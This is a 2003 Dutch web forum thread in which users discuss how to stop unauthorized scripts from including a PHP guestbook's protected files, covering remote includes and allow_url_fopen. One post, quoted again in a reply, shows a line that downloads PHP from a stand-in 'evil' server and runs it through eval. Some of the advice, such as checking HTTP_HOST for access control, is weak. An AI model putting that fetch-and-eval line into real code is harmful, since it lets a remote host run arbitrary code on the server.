[php] Beveiliging script

[Scorpion1984]

Ik heb in index.php een waarde $controle="asdasdas"(doet er nu niet toe welke waarde er in staat, is namelijk bij de installatie gegenereerd)
Deze wordt gecontroleerd in een ander script wat wordt geinclude, zodat de functies niet kunenn worden aangeroepen van onbevoegde scripts, maar hoe voorkom ik dat iemand gewoon index.php include en daardoor nog dat beveiligde bestand aan kan?

[Yo-han]

checken vanwaar de include komt met

PHP:

$_SERVER["HTTP_HOST"]

bijvoorbeeld...

edit:

kijk hier ook eens naar:

remote-files
include

[ Voor 52% gewijzigd door Yo-han op 01-07-2003 15:37 ]

[Scorpion1984]

Dus iemand kan alleen de variabeles gebruiken in een script als hij er toegang toe heeft op de lokale server, en niet als hij hem via http://url/index.php aanroept?

[OkkE]

Met die code krijg je de URL terug van waar de pagina staat, die variabele vergelijk je met de string van je eigen URL/Host. Zijn deze niet gelijk doe je een exit(); of redirect.

[Scorpion1984]

Ja dat snap ik, maar als ik het gooed begrijp uit die links is dat niet eens nodig. Als ik het goed begrijp heeft het bestand wat mijn php-script include vanaf een remote-locatie helemaal geen toegang tot de variabelen in mijn script.

[thomaske]

natuurlijk niet, anders zou namelijk iedereen je source-code kunnen zien..

[pietje63]

thomaske schreef op 01 July 2003 @ 17:03:
natuurlijk niet, anders zou namelijk iedereen je source-code kunnen zien..

eeeh, toch wel...
als je een script.php

PHP:

<?
include (blaat.txt);
echo ($test);
?>

en een bestand blaat.txt

code:

<?
$test = "Hello World";
?>

hebt dan krijg je als output (van script.php) toch "Hello World" (bij mij iig..)

[eborn]

pietje63 schreef op 01 July 2003 @ 17:26:
[...]

eeeh, toch wel...
als je een script.php

PHP:

<?
include (blaat.txt);
echo ($test);
?>

en een bestand blaat.txt

code:

<?
$test = "Hello World";
?>

hebt dan krijg je als output (van script.php) toch "Hello World" (bij mij iig..)

Ja, nogal logisch. Maar je include nu gewoon een bestand op je eigen server, niet remote.

[Yo-han]

Scorpion1984 schreef op 01 July 2003 @ 16:50:
Ja dat snap ik, maar als ik het gooed begrijp uit die links is dat niet eens nodig. Als ik het goed begrijp heeft het bestand wat mijn php-script include vanaf een remote-locatie helemaal geen toegang tot de variabelen in mijn script.

Check je PHP.INI file ff of die variabelen goed staan. Dan is remote includen praktisch onmogelijk.

[JeRa]

Van bestanden op je eigen server kun je de source zien, maar van andere servers (mits die goed zijn ingesteld) NIET.

[Scorpion1984]

Ok het werkt, thanx

[sebas]

dayoman schreef op 01 July 2003 @ 17:33:
[...]


Check je PHP.INI file ff of die variabelen goed staan. Dan is remote includen praktisch onmogelijk.

heeft dat dan ook invloed op een dergelijke constructie:

PHP:

eval(implode('', file('http://evilservert.net/gemeenscriptje.php.txt')));

[Verwijderd]

sebas schreef op 01 juli 2003 @ 17:39:
[...]

heeft dat dan ook invloed op een dergelijke constructie:

PHP:

eval(implode('', file('http://evilservert.net/gemeenscriptje.php.txt')));

je dwaalt af

includen van een script op een andere server waar php draait via http:// blaat heeft sowieso geen nut dus ga daar nou niet over in zitten

als je zoiets doet
eval(implode('', file('http://evilservert.net/gemeenscriptje.php.txt')));

tja dan vraag je er zelf om, zucht

[Yo-han]

Zo lang de ondersteuning voor "URL fopen wrapper" actief is wanneer je PHP configureert (is standaard actief tenzij je expliciet de --disable-url-fopen-wrapper optie gebruikt (voor versies tot en met 4.0.3) of allow_url_fopen zet to "off" (voor nieuwere versies) kun je HTTP en FTP urls gebruiken met de meeste functies die standaard gezien een bestandsnaam als argument vereisen, dit werkt ook met de require() en include() functies.

Je kan hem dus aan of uit zetten... ook voor file dus!

[ Voor 6% gewijzigd door Yo-han op 01-07-2003 17:47 . Reden: damn typo ]

[Bosmonster]

dayoman schreef op 01 July 2003 @ 17:46:
[...]


Je kan hem dus aan of uit zetten... ook voor file dus!

Dat gaat ergens anders over

Je kunt nooit PHP-code includen vanaf een andere server, aangezien PHP dit gewoon verstuurt als request en je dus de OUTPUT van de PHP file terugkrijgt en include en niet de werkelijke code.

[eborn]

Hoe vaak hebben we deze discussie nou eigenlijk gehad in P&W?

[Verwijderd]

Bovendien horen dit soort dingen niet in je wwwroot of subs te staan

[Scorpion1984]

Verwijderd schreef op 01 July 2003 @ 19:11:
Bovendien horen dit soort dingen niet in je wwwroot of subs te staan

een guestbook niet in je wwwroot?????

[Bosmonster]

Scorpion1984 schreef op 02 July 2003 @ 01:17:
[...]

een guestbook niet in je wwwroot?????

Includes niet in je wwwroot. Het is inderdaad geen onverstandig idee includes op een voor buitenstaanders onzichtbaar niveau te plaatsen

[Yo-han]

Bosmonster schreef op 02 juli 2003 @ 09:46:
[...]


Includes niet in je wwwroot. Het is inderdaad geen onverstandig idee includes op een voor buitenstaanders onzichtbaar niveau te plaatsen

Maar daar komt het al oude probleem weer boven van de geweldige providers die je alleen maar een wwwroot map toe bedelen...

Dit kan dus alleen op dedicated servers en je eigen servertje... (of praat ik nu poep?)

[Scorpion1984]

dayoman schreef op 02 July 2003 @ 10:23:
[...]


Maar daar komt het al oude probleem weer boven van de geweldige providers die je alleen maar een wwwroot map toe bedelen...

Dit kan dus alleen op deticated servers en je eigen servertje... (of praat ik nu poep?)

Dat bedoel ik, ik ben een guestbook aan het schrijven voor een vriend. Hij wil wat functies waar ik geen non-commercieel php-script voor heb gevonden, dus ben ik het nu zelf aan het schrijven(mijn eerste eigen script met nut ) En het probleem is dat hij geen dedicated server of eigen server heeft.

[ Voor 7% gewijzigd door Scorpion1984 op 02-07-2003 17:37 ]